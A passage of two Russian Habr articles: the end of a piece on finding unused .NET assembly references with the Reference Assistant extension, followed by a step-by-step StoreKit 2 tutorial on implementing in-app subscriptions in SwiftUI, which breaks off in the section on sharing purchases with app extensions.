> .corflags 0x00000003 // ILONLY 32BITREQUIRED
>
> // Image base: 0x014C0000
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это что же получается?! Assembly\_A мы добавили к проекту, а она и не нужна? Открываем Visual Studio и удаляем из проекта Assembly\_C ссылку на сборку Assembly\_A. Компилируем и… получаем ошибку “The type 'Assembly\_A.Class\_A' is defined in an assembly that is not referenced. You must add a reference to assembly 'Assembly\_A, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.”
Важно понимать причину такого поведения. В проекте нигде нет явного обращения к типам сборки Assembly\_A, поэтому ссылка на эту сборку не включается в манифест сборки проекта (Assembly\_C). В то же время один из типов сборки Assembly\_B используется в проекте. Фактически, получается, что для времени выполнения (runtime) достаточно иметь ссылку на сборку Assembly\_B. А сборки, от которых она зависит, CLR получит уже из её манифеста и так же загрузит. Но для компилятора (compile time) важно иметь в проекте Assembly\_C ссылки и на сборку Assembly\_B и на сборку Assembly\_A, ведь он должен знать все об используемом классе Class\_B, в том числе и её предков. Хорошая статья о зависимостях сборок была опубликована в MSDN Magazine, прочитать её можно [здесь](http://msdn.microsoft.com/en-us/magazine/cc163641.aspx).
Не важно, где в вашем проекте используется класс: как поле какого-то класса, как параметр метода, как атрибут и т.п. Важно понимать то, что у компилятора должна быть возможность получить полную информацию обо всех типах, используемых в проекте. Мы должны четко указывать сборку, которую хотим использовать, ведь класс может существовать в разных версиях одной сборки (даже если компилятор сможет найти сборку (скажем в GAC), то, как ему выбрать нужную, если их несколько?). Вот, что должно быть основной идеей при разработке программы способной находить неиспользуемые в проекте сборки, т.е. такие сборки которые не требуются для компиляции.
Исследование зависимостей классов проекта служит основой расширения [Reference Assistant](http://refassistant.codeplex.com/), которое мы разработали в [Lardite Group](http://lardite.blogspot.com/). Это бесплатное расширение доступное в [Visual Studio Gallery](http://visualstudiogallery.msdn.microsoft.com/fc504cc6-5808-4da8-ae86-8d3f9ed81606), кроме того, вы можете загрузить исходный код Reference Assistant со страницы проекта на CodePlex.
Именно с анализа иерархии классов начался Reference Assistant. Постепенно к нему добавился анализ иерархии интерфейсов, анализ атрибутов и типов их параметров, анализ импортированных типов (например, из COM библиотеки), [типов перемещенных](http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.typeforwardedtoattribute.aspx) в другую сборку. Да, есть и такие! Простой пример — [ObservableCollection](http://msdn.microsoft.com/en-us/library/ms668604%28v=VS.100%29.aspx) перекочевал из сборки WindowsBase.dll (fx3.5) в System.dll (fx4.0).
Мне нравится пример с анализом перегруженных методов. Предположим, в сборке Assembly\_B определен класс Class\_B, в котором метод SetCode перегружен. Пусть две его перегрузки принимают по одному параметру: один типа System.Int32, другой Assembly\_A.Class\_A. В сборке проекта (Assembly\_C) вызывается один из перегруженных методов SetCode класса Class\_B принимающий один параметр. В этом случае компилятор должен знать всё о типах параметров обоих методов, чтобы выбрать наиболее подходящий. А это значит, что сборки, в которых есть определения типов участвующих в иерархии, должны быть в ссылках проекта. Т.е. в нашем случае в ссылках проекта Assembly\_C должна быть ссылка на сборки Assembly\_A и Assembly\_B. Описанный пример в виде кода:
> `// Assembly\_A.dll
>
> namespace Assembly\_A
>
> {
>
> public class Class\_A
>
> {
>
> public int Code { get; set; }
>
> }
>
> }
>
>
>
> // Assembly\_B.dll
>
> using Assembly\_A;
>
> namespace Assembly\_B
>
> {
>
> public class Class\_B
>
> {
>
> public void SetCode(int code)
>
> {
>
> // some actions…
>
> }
>
>
>
> public void SetCode(Class\_A code)
>
> {
>
> // some actions…
>
> }
>
> }
>
> }
>
>
>
> // Assembly\_C.dll (проект, который использует Assembly\_B)
>
> using Assembly\_B;
>
> namespace Assembly\_C
>
> {
>
> public class Class\_C
>
> {
>
> public void Run()
>
> {
>
> // some actions…
>
> var classB = new Class\_B();
>
> classB.SetCode(1);
>
> // some actions…
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это самое основное, что хотелось рассказать. Конечно, во время разработки, мы столкнулись со множеством нюансов, описать которые в одной статье было бы перебором. Но о самых интересных мы непременно постараемся написать в других статьях. В заключении, хочется пару слов сказать об использовании Reference Assistant.
Как я уже говорил ранее, скачать Reference Assistant можно либо с [CodePlex](http://refassistant.codeplex.com/), либо с [Visual Studio Gallery](http://visualstudiogallery.msdn.microsoft.com/fc504cc6-5808-4da8-ae86-8d3f9ed81606). Между ними есть небольшое различие – расширение, выложенное в Gallery, нельзя использовать в Express редакции Visual Studio (это ограничение Visual Studio Gallery), но расширение с CodePlex можно.
Самый простой способ установки — использовать Extension Manager, утилиту Visual Studio.
Для удаления неиспользуемых сборок в контекстном меню проекта или ссылок проекта (папка References) выбрать пункт “Remove Unused References”.
Перед удалением неиспользуемых сборок будет показано окно для подтверждения списка. Вы можете редактировать это список, если уверены, что сборка нужна по каким-либо причинам (например, динамически подключается к приложению в зависимости от настроек в файле конфигурации).
Можно так же отключить показ окна “Unused References List” с помощью опции “Don’t show this dialog next time”. Снова включить можно в конфигурации расширения: меню Tools -> Options… -> Reference Assistant.
Более подробную информацию можно найти в документации на [http://refassistant.codeplex.com](http://refassistant.codeplex.com/) в разделе Downloads. User’s guide описывает работу с Reference Assistant. В нем так же описано, как включить протоколирование ошибок. Описание ошибки вы можете отправить нам по адресу RefAssistant[at]lardite.com или зарегистрировать её в [трекере ошибок](http://refassistant.codeplex.com/workitem/list/basic). Developer’s guide описывает критерии оценки сборки, на которую ссылается проект, а также дает представление об общей архитектуре расширения. | https://habr.com/ru/post/129027/ | null | ru | null |
# Туториал по Встроенным Подпискам в iOS с помощью StoreKit 2 и Swift
Пошаговое руководство по созданию рабочего примера приложения с подписками на SwiftUI.
Этот туториал сопровождается примерами кода и образцом приложения, которые можно найти на https://github.com/RevenueCat/storekit2-demo-app
### Вступление
Встроенные покупки и подписки - один из лучших способов для приложений зарабатывать деньги в App Store. StoreKit 2 - это недавно обновленный фреймворк от Apple для встроенных покупок, который позволяет разработчикам добавлять IAP (in-app purchases) в свои приложения для iOS, macOS, watchOS и tvOS. Документация Apple отлично справляется со своей задачей, давая великолепное объяснение того, как использовать StoreKit, но не вдается в тонкости и не предоставляет полный рабочий пример.
Этот туториал охватит основные понятия, настройку App Store Connect, добавление StoreKit 2, отображение, завершение и проверку покупки, а также обработку изменений, происходящих вне приложения (продление, отмена, выставление счета и т. д.). Также будет рассказано про преимущества и компромиссы наличия или отсутствия сервера. Будут приведены примеры кода на языке Swift и загружаемый, запускаемый пример приложения.
Оглавление
----------
* Вступление
* Терминология
* Настройка App Store Connect
* Настройка файла конфигурации StoreKit
* Аппаратная реализация подписок с помощью StoreKit 2 в Swift
+ Шаг 1: Список продуктов
+ Шаг 2: Покупка продуктов
+ Шаг 3: Подготовка к разблокировке встроенных опций
+ Шаг 4: Разблокировка встроенных опций
+ Шаг 5: Обработка приобретенных продуктов в офлайне
+ Шаг 6: Восстановление покупок
+ Шаг 7: Совместное использование активных покупок с расширениями
+ Шаг 8: Обработка продлений, отмен, проблем с выставлением счетов и т.д.
+ Шаг 9: Проверка поступлений
+ Шаг 10: Поддержка встроенный покупок из App Store
+ Завершение данного туториала по "аппаратной" подписке
* Реализация StoreKit 2 с помощью сервера
+ Сервер App Store
+ Проектирование системы
+ Преимущества и компромиссы
* Заключительные заметки
### Терминология
In-app purchases (IAPs) (Встроенные покупки) - это цифровые продукты, которые приобретаются для использования в приложении. Чаще всего покупка происходит непосредственно в приложении, но иногда может быть инициирована из App Store.
У Apple есть четыре типа IAP:
* **Расходуемые**- это продукты, которые можно приобрести один раз, несколько раз и в большом количестве. Примерами расходуемых покупок могут быть "жизни" или драгоценные камни в играх, бонусы в приложении для знакомств для повышения “видимости” или подсказки для разработчиков или творцов.
* **Нерасходуемые**- это продукты, которые можно приобрести только один раз и срок годности которых не истекает. Примерами нерасходуемых покупок могут быть разблокировка премиум-функций в приложении, получение дополнительных кистей в приложении для рисования или получение косметических предметов в игре.
* **Подписки с автопродлением** - эти продукты предоставляют постоянный доступ к контенту, услугам или премиум-функциям приложения. Плата с клиентов взимается на регулярной основе до тех пор, пока они не отменят подписку или пока не возникнут проблемы с выставлением счетов. Примерами автопродления могут быть доступ к программным услугам или контенту (например, уроки в образовательном приложении).
* **Подписки без автопродления** - это продукты, которые предоставляют доступ к контенту, услугам и премиум-функциям приложения на ограниченное время без автоматического продления. Этот тип требует от пользователя ручной подписки для возобновления доступа к услуге или контенту. Примером подписки без автопродления может быть сезонный абонемент на внутриигровой контент.
### Настройка App Store Connect
Первым шагом к добавлению встроенных покупок в приложение является создание продуктов в [App Store Connect](https://developer.apple.com/app-store-connect/), - панели инструментов разработчика, используемой для размещения приложений в App Store. Разработчики могут использовать App Store Connect для создания листинга приложений, написания характеристик приложения, загрузки скриншотов, создания встроенных продуктов, управления тестировщиками и выпуска новых версий приложения в App Store.
Есть два разных раздела для создания и управления встроенными покупками. Первый раздел — «In-App Purchases», а второй — «Subscriptions». «In-App Purchases» предназначен для расходуемых и нерасходуемых покупок, а «Subscriptions» — для подписок с автопродлением и без автопродления. Подписки были разделены, поскольку их конфигурация сложнее, чем расходуемых и нерасходуемых покупок.
Панель инструментов App Store Connect указывает на расположение "In-App Purchases" и “Subscriptions".### Требования App Store Connect
Существует несколько административных требований, которые необходимо выполнить, прежде чем ваше приложение сможет продавать IAP:
1. Настроить банковскую информацию
2. Подписать соглашение о Платном Приложении
### Создание подписок (с автопродлением и без)
1. Перейдите в раздел “Подписки".
2. Создайте "Группу Подписок”
3. Добавьте локализацию для "Группы Подписок”.
4. Создайте новую подписку (имя ссылки и id продукта)
5. Заполните все метаданные (продолжительность, цена, локализация, информация об отзывах)
Экран App Store Connect для добавления подписок с автопродлением и без### Создание расходуемых и нерасходуемых покупок
1. Перейдите в раздел "In-app Purchases”.
2. Создайте новую встроенную покупку
3. Выберите тип (расходуемая или нерасходуемая) и задайте название ссылки и ID продукта
4. Заполните все метаданные (цена, локализация, информация об отзывах)
Экран App Store Connect для добавления расходуемых и нерасходуемых встроенных покупок### Настройка файла конфигурации StoreKit
Настройка продуктов в App Store Connect может потребовать много работы: первый шаг в начале пути к встроенным покупкам и подпискам может показаться огромным. Однако, несмотря на то, что эти шаги необходимы для выпуска приложения с IAP, для локальной разработки вам не нужен App Store! Начиная с Xcode 13, весь рабочий процесс со встроенными покупками может быть выполнен с помощью [файла конфигурации StoreKit](https://developer.apple.com/documentation/xcode/setting-up-storekit-testing-in-xcode).
Использование конфигурации StoreKit имеет гораздо больше преимуществ, чем просто отсрочка входа в App Store Connect. Она также может быть использована для:
* Тестирования потоков покупок в симуляторе
* Тестирования потоков покупок в unit и UI-тестах
* Локальное тестирование при отсутствии сетевого подключения
* Отладка крайних случаев, которые сложно настроить или воспроизвести в среде песочницы
* Тестирование сквозных транзакций с отказами, продлениями, проблемами с выставлением счетов, рекламными и ознакомительными предложениями.
На самом деле, [пример кода и образец приложения](https://github.com/RevenueCat/storekit2-demo-app/blob/main/StepByStepExamples/Step10/Step10Configuration.storekit) в паре с этим туториалом используют файл конфигурации StoreKit. Исходный код можно загрузить и запустить без необходимости настраивать что-либо в App Store Connect.
Есть несколько замечательных видео WWDC, которые демонстрируют всю мощь файла конфигурации StoreKit:
* [WWDC20 - Знакомство с Тестированием StoreKit в Xcode](https://developer.apple.com/videos/play/wwdc2020/10659/)
* [WWDC22 - Что нового в тестировании StoreKit](https://developer.apple.com/videos/play/wwdc2022/10039/)
У нас также есть статья в блоге об [Улучшениях Тестирования StoreKit в iOS 14](https://www.revenuecat.com/blog/storekit-testing-in-xcode/), которая отлично обобщает эти видео WWDC.
Ниже приводится краткий обзор шагов, связанных с созданием, настройкой и включением файла конфигурации StoreKit.
### Создайте файл
* Запустите Xcode, затем выберите File > New > File.
* В поле поиска Filter введите "storekit".
* Выберите "StoreKit Configuration File”.
* Назовите его, установите флажок в “Sync this file with an app in App Store Connect”(“Синхронизировать этот файл с приложением в App Store Connect”) и сохраните его.
### Добавьте продукты (необязательно)
В Xcode 14 добавлена возможность синхронизировать данный файл с приложением в App Store Connect. Это избавит вас от необходимости вручную добавлять продукты в файл конфигурации StoreKit, что полезно, если у вас уже есть продукты, определенные в App Store Connect, которые вы хотели бы отразить в локальном тестировании.
Однако, если вы еще используете Xcode 13 или хотите провести тестирование с другими типами продуктов или длительностью, вы все равно сможете это сделать.
1. Нажмите «+» в левом нижнем углу в редакторе файлов конфигурации StoreKit в Xcode.
2. Выберите тип встроенной покупки.
3. Заполните обязательные поля:
* Имя ссылки
* ID продукта
* Цена
* Хотя бы одна локализация
### Активируем Файл Конфигурации StoreKit
Чтобы использовать файл конфигурации StoreKit, недостаточно просто создать его. Файл конфигурации StoreKit должен быть выбран в схеме Xcode.
1. Нажмите scheme и выберите «Edit scheme».
2. Перейдите в «Run» > «Options».
3. Выберите значение для «StoreKit Configuration».
Несмотря на то, что использование файла конфигурации StoreKit - самый простой способ тестирования IAP, бывают случаи, когда необходимо протестировать среду песочницы на устройстве. Постоянно менять схему между этими двумя файлами для изменения тестирования может быть хлопотно, поэтому специально для файла конфигурации StoreKit мы рекомендуем продублировать схему и назвать её как-нибудь вроде "YourApp (SK Config)”.
### Аппаратная реализация подписок с помощью StoreKit 2 в Swift
Гарантия наличия продуктов, с которыми приложение будет приносить прибыль, - является первым шагом перед попыткой взаимодействия с любым из API StoreKit с помощью Swift, независимо от того, созданы они с помощью App Store Connect или файла конфигурации StoreKit.
Этот раздел представляет собой пошаговое руководство по использованию StoreKit 2 для написания кода, чтобы:
* Составить список продуктов
* Покупать продукты
* Разблокировать опции для активных подписок и пожизненных покупок
* Обрабатывать продления, отмены и ошибки выставления счетов
* Проверять поступления (\*доходы)
Эти шаги будут реализованы таким образом, чтобы не требовался внешний сервер. В StoreKit 1 выполнение логики покупок в приложении без бэкенда было сложным и небезопасным, но в StoreKit 2 Apple внесла ряд значительных улучшений, чтобы сделать его возможным и безопасным. Обработка покупок в бэкенде требует больше работы, но дает много преимуществ, которые мы рассмотрим позже.
Приступим!
### Шаг 1: Список продуктов
Мы начинаем с того, что показываем пользователю платный доступ ко всем встроенным продуктам, которые можно купить в приложении, отображаемым в виде кнопок, позволяющих пользователю приобретать продукты при нажатии. В этом примере наше приложение покажет ежемесячную подписку, годовую подписку и покупку пожизненной разблокировки. Вот что будет реализовано в конце первого шага:
Пример платного доступаДля получения товаров из StoreKit 2 требуется всего несколько строк кода:
```
import StoreKit
let productIds = ["pro_monthly", "pro_yearly", "pro_lifetime"]
let products = try await Product.products(for: productIds)
```
Приведенный выше фрагмент кода импортирует StoreKit, определяет массив строк идентификаторов продуктов для отображения в платном доступе, а затем извлекает эти продукты. Идентификаторы продуктов должны соответствовать продуктам, определенным в файле конфигурации StoreKit или в App Store Connect. Конечным результатом является массив объектов Product. Объект Product содержит всю информацию, необходимую для отображения на кнопках платного доступа. Эти Product-объекты в конечном итоге будут использоваться для совершения покупки при нажатии кнопки.
Идентификаторы продуктов жестко закодированы в этом примере, но они не должны быть жестко закодированы в прод-приложении (продакшине). Жестко закодированные идентификаторы затрудняют замену разных продуктов, требуя обновления приложения. Не у всех пользователей включены автоматические обновления, а это означает, что некоторые идентификаторы продуктов могут быть куплены на более длительный срок, чем предполагалось. Лучше всего предоставить список доступных продуктов для покупки из удаленного источника.
Теперь пришло время показать эти продукты во вью. Ниже представлено вью SwiftUI, которое будет хранить продукты в state-переменной.
```
import SwiftUI
import StoreKit
struct ContentView: View {
let productIds = ["pro_monthly", "pro_yearly", "pro_lifetime"]
@State
private var products: [Product] = []
var body: some View {
VStack(spacing: 20) {
Text("Products")
ForEach(self.products) { product in
Button {
// Don't do anything yet
} label: {
Text("\(product.displayPrice) - \(product.displayName)")
}
}
}.task {
do {
try await self.loadProducts()
} catch {
print(error)
}
}
}
private func loadProducts() async throws {
self.products = try await Product.products(for: productIds)
}
}
```
В этом фрагменте метод StoreKit 2 для получения продуктов перемещен в новую функцию loadProducts(). Затем эта функция вызывается, когда наше вью появляется с помощью .task(). Продукты повторяются внутри цикла ForEach, который отображает Button для каждого продукта. На данный момент эта кнопка ничего не делает при нажатии.
Полную реализацию до этого шага можно найти [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step1).
### Шаг 2: Покупка продуктов
Теперь, когда пользователь может видеть все продукты в платном доступе, следующим шагом будет разрешить покупку продукта при нажатии кнопки.
Инициировать покупку с Product так же просто, как вызвать функцию purchase() для продукта.
```
private func purchase(_ product: Product) async throws {
let result = try await product.purchase()
}
```
Если этот метод выдает ошибку (Product.PurchaseError или StoreKitError), покупка не прошла. Однако отсутствие ошибки еще не говорит о том, что покупка прошла успешно.
Результатом purchase() является перечисление Product.PurchaseResult. Результат покупки выглядит следующим образом:
```
public enum PurchaseResult {
case success(VerificationResult)
case userCancelled
case pending
}
public enum VerificationResult {
case unverified(SignedType, VerificationResult.VerificationError)
case verified(SignedType)
}
```
Фрагмент ниже показывает, как обновить функцию purchase в приложении, чтобы проверить все возможные результаты покупки продукта.
```
private func purchase(_ product: Product) async throws {
let result = try await product.purchase()
switch result {
case let .success(.verified(transaction)):
// Successful purhcase
await transaction.finish()
case let .success(.unverified(_, error)):
// Successful purchase but transaction/receipt can't be verified
// Could be a jailbroken phone
break
case .pending:
// Transaction waiting on SCA (Strong Customer Authentication) or
// approval from Ask to Buy
break
case .userCancelled:
// ^^^
break
@unknown default:
break
}
}
```
*Эта таблица объясняет все различные типы результатов и их значение:*
*Последняя необходимая часть для совершения покупки — это вызов функции Purchase(* product: Product) при нажатии кнопки.
```
ForEach(self.products) { (product) in
Button {
Task {
do {
try await self.purchase(product)
} catch {
print(error)
}
}
} label: {
Text("\(product.displayPrice) - \(product.displayName)")
}
}
```
Полную реализацию вплоть до этого шага можно увидеть [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step2).
### Шаг 3: Подготовка к разблокировке встроенных опций
Теперь пользователь может увидеть все доступные встроенные продукты ( в данном примере две подписки и пожизненная покупка) и приобрести продукт, нажав кнопку. Однако реализация все еще не завершена: может потребоваться разблокировка опций, загрузка контента при совершении покупки или активная подписка.
Разблокировка контента и опций для пользователей после покупки — вот где все становится сложнее. Было бы идеально, если бы нам нужно было добавить логику разблокировки опций только после успешной покупки, но этого недостаточно. Помимо успешной покупки, есть еще несколько развитий процесса покупки, и на предыдущем шаге упоминались два из них: со Строгой Аутентификацией Клиента и Запросом на Покупку. Встроенные покупки также можно совершать вне приложения, приобретая их напрямую через App Store. Успешные покупки могут произойти в любое время, и наше приложение должно быть готово к любой ситуации.
Прежде чем начать обрабатывать все эти кейсы, нам нужно очистить существующую реализацию. В настоящее время вся логика покупок в приложении находится во вью SwiftUI. Это было здорово, когда мы пытались получить сквозной поток покупок, но плохо масштабировалось по мере роста приложения. Вся логика IAP должна быть перемещена из вью в переиспользуемый компонент. Это можно сделать разными способами, поэтому каждое приложение будет делать это по-своему, но на этом этапе мы перенесем логику IAP в новый объект PurchaseManager. Первоначально объект PurchaseManager будет отвечать за загрузку встроенных продуктов и покупку продукта, но вскоре будут добавлены дополнительные функции.
```
import Foundation
import StoreKit
@MainActor
class PurchaseManager: ObservableObject {
private let productIds = ["pro_monthly", "pro_yearly", "pro_lifetime"]
@Published
private(set) var products: [Product] = []
private var productsLoaded = false
func loadProducts() async throws {
guard !self.productsLoaded else { return }
self.products = try await Product.products(for: productIds)
self.productsLoaded = true
}
func purchase(_ product: Product) async throws {
let result = try await product.purchase()
switch result {
case let .success(.verified(transaction)):
// Successful purhcase
await transaction.finish()
case let .success(.unverified(_, error)):
// Successful purchase but transaction/receipt can't be verified
// Could be a jailbroken phone
break
case .pending:
// Transaction waiting on SCA (Strong Customer Authentication) or
// approval from Ask to Buy
break
case .userCancelled:
// ^^^
break
@unknown default:
break
}
}
}
```
Функции loadProducts() и Purchase() были перемещены в PurchaseManager, и ContentView будет использовать этот объект PurchaseManager. Однако ContentView не будет владельцем PurchaseManager. Он будет создан в App и передан в ContentView как объект среды. Такой подход позволяет другим вью SwiftUI легко получать доступ к тому же объекту PurchaseManager.
```
struct YourApp: App {
@StateObject
private var purchaseManager = PurchaseManager()
var body: some Scene {
WindowGroup {
ContentView()
.environmentObject(purchaseManager)
}
}
}
```
Поскольку объект PurchaseManager является ObservableObject, вью SwiftUI будет автоматически обновляться при изменении его свойств. Прямо сейчас единственным свойством, которое имеет PurchaseManager, являются products.
```
struct ContentView: View {
@EnvironmentObject
private var purchaseManager: PurchaseManager
var body: some View {
VStack(spacing: 20) {
Text("Products")
ForEach(purchaseManager.products) { product in
Button {
Task {
do {
try await purchaseManager.purchase(product)
} catch {
print(error)
}
}
} label: {
Text("\(product.displayPrice) - \(product.displayName)")
.foregroundColor(.white)
.padding()
.background(.blue)
.clipShape(Capsule())
}
}
}.task {
Task {
do {
try await purchaseManager.loadProducts()
} catch {
print(error)
}
}
}
}
}
```
Приложение будет работать точно так же, как на Шаге 2, но теперь код стал более управляемым при добавлении поддержки дополнительных кейсов встроенных покупок.
Полную реализацию вплоть до этого шага можно увидеть [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step3).
### Шаг 4: Разблокировка встроенных опций
PurchaseManager теперь является идеальным местом для обработки логики определения того, следует ли разблокировать встроенные опции. Все это будет построено вокруг новой функции Transaction.currentEntitlements из StoreKit 2.
```
for await result in Transaction.currentEntitlements {
// Do something with transaction
}
```
Имя currentEntitlements может звучать несколько странно по сравнению с остальными названиями StoreKit 2, но Transaction.currentEntitlements просто возвращает массив активных транзакций. [Документация](https://developer.apple.com/documentation/storekit/transaction/3851204-currententitlements)для currentEntitlements объясняет это следующим образом:
* Транзакция для каждой нерасходуемой покупки в приложении
* Последняя транзакция для каждой активной подписки с автопродлением
* Последняя транзакция для каждой подписки без автопродления
* Транзакция для каждой [незавершенной](https://developer.apple.com/documentation/storekit/transaction/3856631-unfinished)расходуемой встроенной покупки.
PurchaseManager будет перебирать эти транзакции и сохранять идентификаторы продуктов в Set (массив, который не может содержать повторяющиеся элементы) с именем PurchasedProductID. Эти активные идентификаторы продуктов теперь можно использовать для разблокировки опций и контента в приложении для пользователей, которые их приобрели.
```
class PurchaseManager: ObservableObject {
...
@Published
private(set) var purchasedProductIDs = Set()
var hasUnlockedPro: Bool {
return !self.purchasedProductIDs.isEmpty
}
func updatePurchasedProducts() async {
for await result in Transaction.currentEntitlements {
guard case .verified(let transaction) = result else {
continue
}
if transaction.revocationDate == nil {
self.purchasedProductIDs.insert(transaction.productID)
} else {
self.purchasedProductIDs.remove(transaction.productID)
}
}
}
}
```
Эту новую функцию updatePurchasedProducts необходимо вызывать при запуске приложения, после совершения покупки и при обновлении транзакций, чтобы гарантировать, что идентификаторы PurchasedProductID (и hasUnlockedPro) возвращают правильное значение, ожидаемое пользователем.
Во-первых, App необходимо обновить, чтобы оно вызывало updatePurchasedProducts() при запуске приложения. Это инициализирует массив приобретенных продуктов с текущими правами.
```
struct YourApp: App {
@StateObject
private var purchaseManager = PurchaseManager()
var body: some Scene {
WindowGroup {
ContentView()
.environmentObject(purchaseManager)
.task {
await purchaseManager.updatePurchasedProducts()
}
}
}
}
```
Затем функция Purchase() должна вызвать updatePurchasedProducts() после успешной покупки. Это обновит массив приобретенных продуктов новым приобретенным продуктом.
```
func purchase(_ product: Product) async throws {
let result = try await product.purchase()
switch result {
case let .success(.verified(transaction)):
await transaction.finish()
await self.updatePurchasedProducts()
case let .success(.unverified(_, error)):
break
case .pending:
break
case .userCancelled:
break
@unknown default:
break
}
}
```
Последняя недостающая часть прослушивает новые транзакции, созданные вне приложения. Эти транзакции могут быть подписками, которые были отменены, продлены или отозваны из-за проблем с выставлением счетов, но они также могут быть новыми покупками, совершенными на другом устройстве, которые должны разблокировать контент на этом. Этот мониторинг можно выполнить, прослушивая изменения в асинхронной последовательности Transaction.updates:
```
@MainActor
class PurchaseManager: ObservableObject {
...
private var updates: Task? = nil
init() {
updates = observeTransactionUpdates()
}
deinit {
updates?.cancel()
}
...
private func observeTransactionUpdates() -> Task {
Task(priority: .background) { [unowned self] in
for await verificationResult in Transaction.updates {
// Using verificationResult directly would be better
// but this way works for this tutorial
await self.updatePurchasedProducts()
}
}
}
}
```
Со всеми изменениями в PurchaseManager вью SwiftUI требуется всего несколько новых строк кода, чтобы удалить платный доступ после покупки продукта. Это делается путем добавления оператора if, проверяющего PurchaseManager.hasUnlockedPro. Поскольку PurchaseManager являетсяObservableObject, вью SwiftUI будет автоматически обновляться при изменении его свойств.
```
var body: some View {
VStack(spacing: 20) {
if purchaseManager.hasUnlockedPro {
Text("Thank you for purchasing pro!")
} else {
Text("Products")
ForEach(purchaseManager.products) { (product) in
Button {
Task {
do {
try await purchaseManager.purchase(product)
} catch {
print(error)
}
}
} label: {
Text("\(product.displayPrice) - \(product.displayName)")
.foregroundColor(.white)
.padding()
.background(.blue)
.clipShape(Capsule())
}
}
}
}
}
```
Полную реализацию вплоть до этого шага можно увидеть [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step4).
### Шаг 5: Обработка приобретенных продуктов в офлайне
В предыдущем шаге был представлен Transaction.currentEntitlements, который использовался для перебора последовательности приобретенных пользователем продуктов (нерасходуемые продукты, активные подписки или незавершенные расходуемые продукты). Чтобы гарантировать, что пользователь получает ожидаемое поведение приложения для каждого статуса подписки, эта функция будет получать последние транзакции, если есть доступ в Интернет. Если у пользователя нет подключения к Интернету — Wi-Fi не работает, включен режим полета и т. д. — Transaction.currentEntitlements [вернет данные из локального кэша](https://developer.apple.com/forums/thread/706450). Транзакции также будут отправлены на устройство, когда оно подключится к сети, что может позволить приложению иметь самые актуальные транзакции, когда пользователь время от времени выходит из сети.
StoreKit 2 отлично справился с этой реализацией. Разработчикам не нужно беспокоиться о создании какой-либо логики или пользовательского кэширования, чтобы их приложения с поддержкой StoreKit 2 работали в автономном режиме. Получение приобретенных продуктов с помощью Transaction.currentEntitlements работает одинаково как в сети, так и в автономном режиме.
### Шаг 6: Восстановление покупок
Как и на предыдущем шаге, для восстановления покупок ничего делать не нужно: StoreKit будет автоматически обновлять статус подписки в приложении и историю транзакций с помощью Transaction.currentEntitlements и Transaction.all. При использовании этих функций у пользователя нет технических причин пытаться вручную восстановить транзакции. Тем не менее, в приложении по-прежнему рекомендуется иметь кнопку «Восстановить покупки»:
1. [Раздел 3.1.1 Руководства по проверке App Store](https://developer.apple.com/app-store/review/guidelines/#in-app-purchase) требует, чтобы в приложении присутствовал механизм восстановления для любых восстанавливаемых встроенных покупок. Несмотря на то, что здесь прямо не указано, что кнопка «Восстановить покупки» необходима, и можно было бы обсудить, что поведение StoreKit по умолчанию поддерживает синхронизацию всех транзакций, наличие кнопки «Восстановить покупки» легко устраняет любую неопределенность в этом руководстве.
2. Несмотря на то, что функционал восстановления покупки может не понадобиться, идеальный вариант - это дать пользователям ощущение контроля. Пользователи могут задаться вопросом, актуальны ли покупки или нет, и эта кнопка позволяет им убедиться в этом.
Добавление функции «Восстановление покупок» стало тривиальным благодаря AppStore.sync(). Согласно его [документации](https://developer.apple.com/documentation/storekit/appstore/3791906-sync), AppStore.sync() должен быть использован в кнопке «Восстановить покупки» и редко бывает нужен; но его наличие комфортно для пользователя, который подозревает, что что-то не так с транзакциями или статусом подписки. Существует сессия WWDC22 по [внедрению профилактического восстановления встроенных покупок](https://developer.apple.com/wwdc22/110404), которая более подробно рассматривает эту тему.
В редких случаях, когда пользователь подозревает, что приложение показывает не все транзакции, вызывается AppStore.sync(), что заставляет приложение получать информацию о транзакциях и статусе подписки из App Store.
```
Each(purchaseManager.products) { product in
Button {
Task {
do {
try await purchaseManager.purchase(product)
} catch {
print(error)
}
}
} label: {
Text("\(product.displayPrice) - \(product.displayName)")
}
}
Button {
Task {
do {
try await AppStore.sync()
} catch {
print(error)
}
}
} label: {
Text("Restore Purchases")
}
```
Кнопка, вызывающая AppStore.sync(), будет размещена в платном доступе под списком продуктов, доступных для покупки. В исключительном случае, когда пользователь приобрел продукт, но платный доступ все еще отображается, AppStore.sync() обновит транзакции, платный доступ исчезнет, а купленный встроенный контент будет доступен для использования.
Полную реализацию до этого шага можно увидеть [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step6).
### Шаг 7: Совместное использование активных покупок с расширениями
Приложения iOS часто включают больше, чем просто основное приложение. Приложения могут состоять из Расширений Виджетов, Intent\* Расширений, приложений для Watch и многого другого. Эти расширения, скорее всего, работают в отдельных контекстах от основного приложения, но есть большая вероятность, что статусы подписки могут разблокировать функциональность в этих расширениях. К счастью, StoreKit 2 упрощает эту задачу для большинства расширений.
Transaction.currentEntitlements можно использовать в расширениях так же, как на предыдущих шагах. Это работает для таких расширений, как Widgets и Intents. Однако приложение iOS с сопутствующим приложением watchOS не будет работать, даже если в нем можно выполнить Transaction.currentEntitlements. Сопутствующее приложение для часов не обновляется с той же историей транзакций, что и его приложение для iOS, поскольку они являются отдельными платформами.
**\* Фреймворк App Intents предлагает программный способ сделать контент и функции вашего приложения доступными для системных служб, таких как Siri и Shortcuts.**
### Расширения
Как упоминалось ранее, Transaction.currentEntitlements будет извлекать локально кэшированные транзакции, но также может получать последние транзакции, если устройство подключено к сети. Поскольку расширения приложений имеют очень ограниченное время выполнения или ограниченные возможности, поведение Transaction.currentEntitlements может оказаться слишком трудоемким, чтобы многократно обращаться к этим расширениям.
Лучше всего, чтобы расширения приложений смотрели на логическую составляющую, если определенные продукты были приобретены. Это можно сделать, сохранив общую информацию в экземпляре UserDefaults, который совместно используется [приложениями и расширениями приложений с группами приложений.](https://developer.apple.com/documentation/foundation/userdefaults/1409957-init)
